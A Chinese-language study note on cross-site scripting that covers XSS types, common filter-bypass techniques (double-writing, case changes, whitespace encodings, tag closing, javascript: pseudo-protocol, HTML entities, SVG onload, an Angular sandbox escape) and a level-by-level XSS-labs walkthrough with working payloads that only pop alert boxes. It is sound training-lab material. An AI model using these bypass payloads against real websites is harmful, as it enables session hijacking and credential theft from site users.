从0到1的XSS漏洞学习
本文是对 XSS(Cross-Site Scripting,跨站脚本攻击)的二次回顾与学习总结,主要围绕 XSS 的基本原理、反射型/存储型/DOM 型分类、常见危害以及漏洞探测展开。在此基础上,重点整理了 XSS 中常见的过滤绕过思路,包括双写、大小写、空格、闭合、注释、HTML 实体、事件处理器、伪协议、SVG 等技巧,并结合具体代码分析其产生原因与适用场景。文章最后以 XSS-labs 为主
本文是自己的二次回顾 XSS,包含原理,分类,bypass 技巧以及 XSS-labs 的 wp
本文写于26/8/25,后续可能会随着学习而更新(插个眼)
原理
Cross-site scripting,跨站脚本攻击,即 XSS
取名为 XSS 目的是为了和 CSS 区分开来
原理:操纵存在漏洞的网站,使其向用户返回恶意 JavaScript 代码。当恶意代码在受害者的浏览器中执行时,攻击者就能完全控制用户与应用程序的交互
分类
XSS 漏洞主要分为3类:反射类,存储类,DOM类
- Reflected XSS,注入 XSS 后即时得到响应,具有即时性
- Stored XSS,注入 XSS 后该数据被存储在服务器中,每当别的用户访问注入了 XSS 攻击的网页时即会触发攻击,具有持续性
- DOM-based XSS,用户将恶意的 JavaScript 参数,JavaScript 读取的时候执行从而导致漏洞
可能造成的影响
冒充或伪装成受害用户。
执行用户能够执行的任何操作。
读取用户有权访问的任何数据。
获取用户的登录凭据。
对网站进行虚拟篡改。
在网站中注入木马程序功能。探测是否存在 XSS 可以通过 alert() 来实现,但是由于 Chrome 浏览器的限制,从 92 版本(2021 年 7 月 20 日)开始,跨域 iframe 无法调用 alert(),因此我们后续可以使用 print() 来替代 alert()
常见的绕过方式
想来学习了这么多的 Web 安全漏洞,有很多绕过方式都是共通的,无非是构造形式不同。因此这里把绕过方式分为一般绕过和 XSS 特有的绕过
一般的绕过方式
双写绕过
与 SQL 注入中的一致,成因都是将字符串替换为空字符串
源码类似这样:
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);我们可以进行如下绕过:
href --> hrhrefef衍生变体有多次替换,同样,可多次构造双写绕过
大小写绕过
这里成因一般是使用了正则表达式去匹配字符串/字符,但是没有加上 i 这个修饰符
我们可以进行如下绕过:
href --> hREf空格绕过
成因一般是直接黑名单匹配到 而忽略了可使用其他编码转换为空格的问题
若是直接删除了空格会导致我们的 payload 无法被正确解析
有很多可以替代空格的编码,常见的如下:
%0A //换行符
%20 //空格
%09 //Tab
%0D //回车符
%0C //换页符我们可以进行如下绕过:
空格 --> %0A闭合绕过
类似 SQL 注入,成因是直接将输入插入到源码中
我们可以使用 <、>、"、' 等去闭合前面的标签,在后面构造自己想要的 payload
可以进行如下绕过:
"><script>alert(0n1y);</script>注释绕过
后端检测必须得包含 http://,这时可以将其注释掉
可以进行如下绕过:
javascript:alert(1)//http://注释的方法不止一种(
XSS 特有的绕过
htmlspecialchars()
这里的漏洞仅 PHP 版本小于 8.1.0 时适用,PHP 8.1.0 版本此漏已经修复
此函数会将一些字符实体化,在 PHP 8.1.0 以下的版本会将 <、>、&、" 转义
但是我们可以发现单引号 ' 未被转义
因此可以考虑事件处理器去进行绕过:
' onmouseover=javascript:alert(0n1y) '在 PHP 8.1.0 以上的版本该函数同时会将 ' 进行转义
/空格绕过
在 HTML 中,可以在标签内部的一些位置使用 / 进行空格绕过
常见可使用位置有标签名和第一个属性之间和属性与属性之间
我们可以构造如下绕过:
<img src="x" onerror="alert(0n1y)">
变化为
<img/src="x"/onerror="alert(0n1y)">引号内不能使用此法(在引号内,/ 会被解析成文本内容,类似路径,不具备空格绕过能力)
href的妙用
对于 HTML 中的某些属性,它们是支持 Javascript伪协议 的
因此我们可以使用比如 href 去达到执行 JavaScript 代码的作用
如下的标签都支持 Javascript伪协议
<a> 的 href
<area> 的 href
<form> 的 action
<iframe> 的 src
<object> 的 data我们可以构造如下绕过:
<a href="javascript:alert('0n1y')">0n1y</a>HTML实体化的奇葩技巧(HTML Entity)
我们在 htmlspecialchars() 中提到过 HTML实体化 这个概念
使用此法的目标是绕过一些黑名单,比如说 JavaScript 等等
在 href的妙用 中提到的支持 JavaScript伪协议 的都支持 HTML实体化
HTML实体 有两种表示方式:数字实体 和 命名实体,其中 数字实体 又可分为 10进制实体 和 16进制实体
所有字符都有数字实体,但只有一小部分字符有命名实体
可使用 cyberchef 进行 HTML实体 转换
我们可以尝试以下构造:
javascript:alert(0n1y)当心SVG
svg 常常在严格过滤 <script> 标签的时候使用
可以用诸多事件处理器例如 onclick,onmouseover,onload
我们可以采取如下构造:
<svg onload=alert(1)>编码绕过
HTML实体化 — 老大,能改变协议本身
Unicode编码 — 在 JavaScript 解析上下文当中(比如 <script>
hex/8进制编码 — 在 JavaScript 解析上下文当中(比如 javascript: 伪协议
URL编码 — 多见于双重编码,需要在 url 框或者 JavaScript 上下文
(已经废除)Angular
因为 Google 官方已经废除了 Angular 沙盒,因此我对此仅做了了解
在 XSS-labs 里面有字段采用了 include 从而导致文件包含漏洞存在的可能
这个框架还支持模板渲染,也可以利用,具体可以看探姬jj推荐的文章:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}XSS-labs
level1
很明显的 GET 传参
<script>alert(1);</script>level2
这里我们的:
<script>alert(1);</script>被转义成:
<script>alert(1);</script>但 input 的 value 未进行转义,这里我们采取闭合构造:
"><script>alert("1")</script>level3
这下我们的 keyword 的 value 也被转义了
这里使用了一个函数 htmlspecialchars(),其可以将 <、>、&、'、" 都转义
但 php 8.1.0 版本以下的 htmlspecialchars() 对 ' 默认不会进行转义
(这里从 keyword 的 value 结果也可以看出 ' 没有被转义)
因此可以在此下文章:
' onmouseover=javascript:alert(1) '
//这里的 javascript 是可省伪协议当鼠标指针进入某个元素时,就会发生
onmouseover事件
level4
这里我们尝试后发现题目会将 < 和 > 直接删除
但是双引号未被过滤:
" onmouseover=javascript:alert(1) "level5
这里 script 和 onmouseover 均会被替换为其他字符串
尝试 href
"> <a href=javascript:alert(1)>0n1y</a>level6
这里发现 href 也被替换了,尝试大小写绕过:
"> <a hREf=javascript:alert(1)>0n1y</a>level7
闭合+双写绕过:
"> <scriscriptpt>alert(1);</scriscriptpt>level8
进行 HTML 实体绕过即可:
javascript:alert(1)工具:
https://mothereff.in/html-entities
level9
这里必须要包含 http://
直接放在后面并且注释掉就好
javascript:alert(1)//http://level10~level13
都是字段注入,没什么其他绕过点,略
level14
貌似题目有问题,打不开
level15
angular 框架,其中 src 字段采用了 include 函数,我们可以引入想要的文件
比如这里可以引入 level1 的文件后传参即可:
?src='level1.php?name=<img src=abc onerror=alert(1)>'level16
空格过滤:
<img%0Asrc=1%0Aonerror="alert(1)">level17~level20
都是已经废弃了的 flash 的利用